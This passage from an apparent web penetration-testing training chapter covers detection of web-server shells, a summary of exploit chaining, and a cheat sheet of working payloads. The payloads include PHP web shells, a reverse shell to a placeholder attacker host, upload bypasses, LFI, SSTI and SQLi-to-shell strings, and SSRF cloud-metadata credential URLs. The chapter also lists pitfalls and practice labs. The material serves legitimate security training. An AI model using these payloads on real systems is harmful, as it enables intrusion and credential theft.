• SSRF: outbound requests from app servers to 169.254.169.254 or RFC1918 ranges; alert on metadata-endpoint hits at the network layer.
• Reverse shells: an outbound TCP connection from www-data/apache to an external IP on an odd port is almost always malicious — baseline egress and alert on child processes of the web server (sh, bash, nc, python spawned by apache2).

sequenceDiagram
    participant W as Web server
    participant E as EDR / auditd
    participant S as SIEM
    W->>W: apache2 spawns bash (reverse shell)
    W->>E: execve(bash) parent=apache2
    E->>S: Alert: web server spawned a shell
    W->>S: Netflow: outbound to ATK:443 from www-data
    S->>S: Correlate + raise incident

The single highest-value detection is “the web server process spawned a shell or made an outbound connection.” Web servers serve pages; they do not run bash or dial out to the internet. That one behavioural rule catches the tail end of almost every chain in this chapter.

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Final Revision / Summary

• A finding becomes an incident through chaining: composing primitives (file read, file write, arbitrary request, code execution, credential disclosure) until you reach an interactive shell.
• Think in primitives, not vuln names. Ask of every bug: “what does this let me do, and what does that upgrade into?”
• File upload → web shell is the most direct road; defeat extension, MIME, magic-byte and storage-location filters, or upload .htaccess/web.config.
• LFI → RCE via php://filter source-read, log poisoning, session files, or data:///RFI when wrappers/allow_url_include permit.
• SSTI goes from {{7*7}}=49 to RCE through the language’s object model (Jinja2, Twig, Freemarker).
• SQLi is a write/exec primitive too: INTO OUTFILE, xp_cmdshell, COPY ... TO PROGRAM, or sqlmap --os-shell.
• SSRF pivots into cloud metadata (IAM creds), internal no-auth services (Redis→RCE via gopher://), and internal apps.
• XXE and deserialization are two more execution primitives; recognise their markers (file:// entities; rO0, O:, pickle opcodes).
• Web shell → reverse shell → stabilised TTY is the standard interactivity ladder; /dev/tcp + nc + pty.spawn are the core moves.
• Stay lawful and in-scope: minimal PoC, no destruction, clean up backdoors, log everything.
• Detection collapses to one rule: the web server should never spawn a shell or dial out.

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Cheat Sheet / Quick Reference

Web shells

<?php system($_GET['c']); ?>
<?php echo shell_exec($_REQUEST['c']); ?>

Reverse shell + catch

sudo nc -lvnp 443
bash -c 'bash -i >& /dev/tcp/ATTACKER/443 0>&1'
python3 -c 'import pty;pty.spawn("/bin/bash")'   # then Ctrl-Z; stty raw -echo; fg

Upload bypasses

Extensions : .php .php3 .php5 .phtml .pht .phar  |  case PhP  |  shell.php.  |  shell.php%00.jpg
MIME       : Content-Type: image/png (keep .php body)
Magic byte : GIF89a; <?php ... ?>
Config     : .htaccess -> AddType application/x-httpd-php .lol ;  IIS -> web.config

LFI → RCE

Read src : php://filter/convert.base64-encode/resource=config
Inline   : data://text/plain;base64,<PAYLOAD>
Log pois : UA=<?php system($_GET[c]);?>  then page=/var/log/apache2/access.log&c=id
Sessions : /var/lib/php/sessions/sess_<PHPSESSID>

SSTI

Detect : {{7*7}} (Jinja2/Twig)  ${7*7} (Freemarker)  <%= 7*7 %> (ERB)
Jinja2 : {{cycler.__init__.__globals__.os.popen('id').read()}}
Twig   : {{['id']|filter('system')}}

SQLi → shell

MySQL : ' UNION SELECT '<?php system($_GET[c]);?>',2 INTO OUTFILE '/var/www/html/s.php'-- -
MSSQL : '; EXEC xp_cmdshell 'whoami'; -- -
PgSQL : '; COPY (SELECT '') TO PROGRAM 'id'; -- -
Auto  : sqlmap -r req.txt --os-shell

SSRF

AWS   : http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP   : http://metadata.google.internal/computeMetadata/v1/  (Metadata-Flavor: Google)
Bypass: 127.1 / 0x7f000001 / 2130706433 / [::1] / http://exp@169.254.169.254/
Redis : gopher://127.0.0.1:6379/_<url-encoded RESP commands>

Deserialization markers

Java rO0AB / AC ED 00 05 -> ysoserial | PHP O:/a: -> PHPGGC | .NET -> ysoserial.net | Python \x80 pickle

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Common Pitfalls

• Firing RCE outside ROE. Confirm scope allows PoC code execution before you run a shell; sometimes demonstrating write is the required stopping point.
• Uploading to a non-executable dir. If the file stores but ?c=id returns the raw source, the directory doesn’t execute PHP — pivot to .htaccess, LFI, or a different sink instead of assuming the bypass failed.
• Forgetting to URL-encode reverse-shell payloads in a GET web shell — spaces and & break the command silently.
• Working in an unstable nc shell. Ctrl-C kills your listener; upgrade to a TTY before you run anything interactive (su, ssh, editors).
• IMDSv2 blind spot. If AWS metadata returns 401, the instance enforces IMDSv2 — you need header/method control in the SSRF to PUT a token first.
• Leaving the web shell behind. An unauthenticated cmd.php on a production box is a real, exploitable backdoor you created — remove it or hand the exact path to the client.
• Chaining in your head but not in the report. Each hop is a finding; the chain is the impact. Document both, with reproducible requests.

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Practice Labs & Resources

PortSwigger Web Security Academy (free, browser-based):

• File upload vulnerabilities — full track: content-type bypass, .htaccess upload, polyglot, race condition.
• Server-side template injection — detection through RCE across engines.
• SSRF — basic, filter bypass, and blind-with-out-of-band tracks.
• XXE injection — file read, blind exfil via external DTD, SSRF.
• Insecure deserialization — PHP and Java gadget-chain labs (with ysoserial).

TryHackMe: Upload Vulnerabilities, File Inclusion, SSRF, OWASP Top 10, Juicy Details, Dav, Ignite (LFI/upload → shell rooms).

HackTheBox: any “easy” web box that chains upload/LFI → shell (e.g. the retired Beep, Networked, Bounty patterns); Starting Point tier for guided chains.

OWASP Juice Shop and DVWA — self-hosted, safe to practise every technique in this chapter (file upload, LFI, SQLi→file, SSTI where added).

Cloud SSRF: flAWS and flAWS2 (cloud.security), and CloudGoat’s SSRF/IMDS scenarios for the AWS metadata chain end-to-end.

Reference collections: PayloadsAllTheThings (Upload/LFI/SSTI/SSRF/XXE/ Deserialization folders), HackTricks (per-technique pages), and disclosed HackerOne reports tagged SSRF/SSTI/RCE for real chained writeups.

Work each lab twice: once to get the flag, once to write the exploit chain out as you would in a client report — request by request, primitive by primitive. That second pass is what turns technique into methodology.